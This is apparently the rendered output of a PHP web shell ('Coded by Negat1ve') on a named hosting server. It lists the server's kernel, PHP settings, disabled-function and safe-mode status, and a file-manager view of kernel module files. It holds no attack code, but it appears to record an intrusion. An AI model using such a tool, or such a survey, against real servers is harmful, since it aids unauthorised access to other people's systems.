Server Information
Operating System : Linux bwh02.umbrellaonline.ca 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
PHP Version : 8.2.28
Storage : Total = 138.7 GB, Free = 60.09 GB [43%]
Disable Functions : All function is accessible
CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Files Manager
Name Type Size Last Modified Owner/Group Permission Action
. dir -- 2025-03-14 11:15:01 root/root 0755 >> drwxr-xr-x
.. dir -- 2025-03-14 11:15:00 root/root 0755 >> drwxr-xr-x
netfilter dir -- 2025-03-14 11:15:01 root/root 0755 >> drwxr-xr-x
ah6.ko.xz application/x-xz 6.73 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
esp6.ko.xz application/x-xz 10.66 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
esp6_offload.ko.xz application/x-xz 4.73 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
ip6_gre.ko.xz application/x-xz 17.39 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
ip6_tunnel.ko.xz application/x-xz 17.87 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
ip6_udp_tunnel.ko.... application/x-xz 2.64 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
ip6_vti.ko.xz application/x-xz 9.78 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
ipcomp6.ko.xz application/x-xz 3.33 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
mip6.ko.xz application/x-xz 5.12 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
sit.ko.xz application/x-xz 14.16 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
tunnel6.ko.xz application/x-xz 3.66 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
xfrm6_tunnel.ko.xz application/x-xz 4.11 KB 2025-02-13 02:17:40 root/root 0644 >> -rw-r--r--
Copyright negat1ve1337@gmail.com Coded by Negat1ve